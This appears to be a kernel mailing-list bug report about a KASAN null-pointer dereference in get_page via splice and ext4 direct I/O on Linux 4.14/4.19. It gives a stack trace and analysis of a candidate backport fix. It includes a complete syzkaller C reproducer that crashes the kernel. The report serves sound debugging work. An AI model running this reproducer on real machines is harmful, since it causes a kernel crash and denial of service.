KASAN: null-ptr-deref in get_page

Hello,

Recently we noticed the attached PoC cause a GPF with the following stacktrace in linux-4.14.y and linux-4.19.y.

	BUG: KASAN: null-ptr-deref in get_page+0xf/0x65
	Read of size 8 at addr 0000000000000008 by task poc2/3395

	CPU: 0 PID: 3395 Comm: poc2 Not tainted 4.19.214-00936-g38ec06730e44 #59
	Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
	Call Trace:
	 dump_stack+0xe7/0x131
	 kasan_report+0x22a/0x272
	 get_page+0xf/0x65
	 submit_page_section+0xf4/0x202
	 do_blockdev_direct_IO+0xb90/0xfb9
	 ? dio_set_defer_completion+0x57/0x57
	 ? lock_is_held_type+0x78/0x86
	 ? jbd2_journal_stop+0x6fa/0x742
	 ? ext4_get_block_trans+0x188/0x188
	 ? lock_downgrade+0x29a/0x29a
	 ? __blockdev_direct_IO+0x52/0x93
	 ? do_journal_get_write_access+0x7b/0x7b
	 ext4_direct_IO+0x4eb/0x7ad
	 ? ext4_get_block_trans+0x188/0x188
	 generic_file_direct_write+0x132/0x1d8
	 __generic_file_write_iter+0xa6/0x1c0
	 ? generic_write_checks+0x173/0x19d
	 ext4_file_write_iter+0x450/0x549
	 ? ext4_unwritten_wait+0x153/0x153
	 ? iter_file_splice_write+0x11a/0x4d7
	 ? lock_acquire+0x1a7/0x1e7
	 ? iter_file_splice_write+0x11a/0x4d7
	 ? lock_acquire+0x1b7/0x1e7
	 ? match_held_lock+0x2e/0x102
	 ? __lock_is_held+0x2a/0x87
	 do_iter_readv_writev+0x145/0x1b1
	 ? file_start_write.isra.0+0x34/0x34
	 ? avc_policy_seqno+0x1d/0x25
	 ? selinux_file_permission+0xce/0x115
	 do_iter_write+0xa6/0xe6
	 iter_file_splice_write+0x337/0x4d7
	 ? __do_compat_sys_vmsplice+0x16c/0x16c
	 ? match_held_lock+0x2e/0x102
	 ? lock_is_held_type+0x78/0x86
	 __do_sys_splice+0x6cc/0x8f6
	 ? ipipe_prep.part.0+0x99/0x99
	 ? mark_held_locks+0x2d/0x84
	 ? do_syscall_64+0x14/0x90
	 do_syscall_64+0x74/0x90
	 entry_SYSCALL_64_after_hwframe+0x49/0xbe
	RIP: 0033:0x43f579

Applying the following patch on linux-4.14.y/linux-4.19.y stops the crash from occurring on either of these kernels.
3d75ca0adef4 ("block: introduce multi-page bvec helpers")

Tracking the control flow with and without 3d75ca0adef4; there seems to be a callpath as follows:
do_blockdev_direct_IO => do_direct_IO => dio_get_page => dio_refill_pages => iov_iter_get_pages

iov_iter_get_pages() returns 0x8000(without the patch) vs 0x1000(with the patch). This seems to be the first point at which control flow diverges between the two from do_blockdev_direct_IO() onward.

Is 3d75ca0adef4 the correct fix, or would it be masking a different underlying problem?

PoC causing crash below:
// general protection fault in __blockdev_direct_IO
// https://syzkaller.appspot.com/bug?id=d98d666ccfa0e74f2e459083956394fee8a985df
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

void execute_one(void)

{
	int pipefd[2];
	int sockfd;
	int fd;

	syscall(__NR_creat, "./bus", 0);
	if (creat("./bus", 0) == -1) {
		fprintf(stderr, "creat failed\n");
		exit(1);
	}

	if (pipe(pipefd) == -1) {
		fprintf(stderr, "pipe failed\n");
		exit(1);
	}

	if ((sockfd = syscall(__NR_socket, 2, 1, 0)) == -1) {
		fprintf(stderr, "socket failed\n");
		exit(1);
	}

	*(uint32_t*)0x20000080 = 1;
	syscall(__NR_setsockopt, sockfd, 6, 0x10000000013, 0x20000080, 4);
	*(uint32_t*)0x20788ffc = 1;
	syscall(__NR_setsockopt, sockfd, 6, 0x14, 0x20788ffc, 0xfdf6);
	*(uint16_t*)0x20000000 = 2;
	*(uint16_t*)0x20000002 = htobe16(0);
	syscall(__NR_connect, sockfd, 0x20000000, 0x10);
	memcpy((void*)0x20000100, "\xcc", 1);
	syscall(__NR_sendto, sockfd, 0x20000100, 0xffffffffffffff3d, 0, 0, 0);

	syscall(__NR_splice, sockfd, 0, pipefd[1], 0, 0x11001, 0);

	memcpy((void*)0x20000040, "./bus\000", 6);
	if ((fd = syscall(__NR_open, 0x20000040, 0x4082, 0)) == -1) {
		fprintf(stderr, "open failed\n");
		exit(1);
	}

	syscall(__NR_splice, pipefd[0], 0, fd, 0, 0xffffffff, 0);
}
int main(void)
{
	syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
	execute_one();
	return 0;
}

Thanks,
- Zubin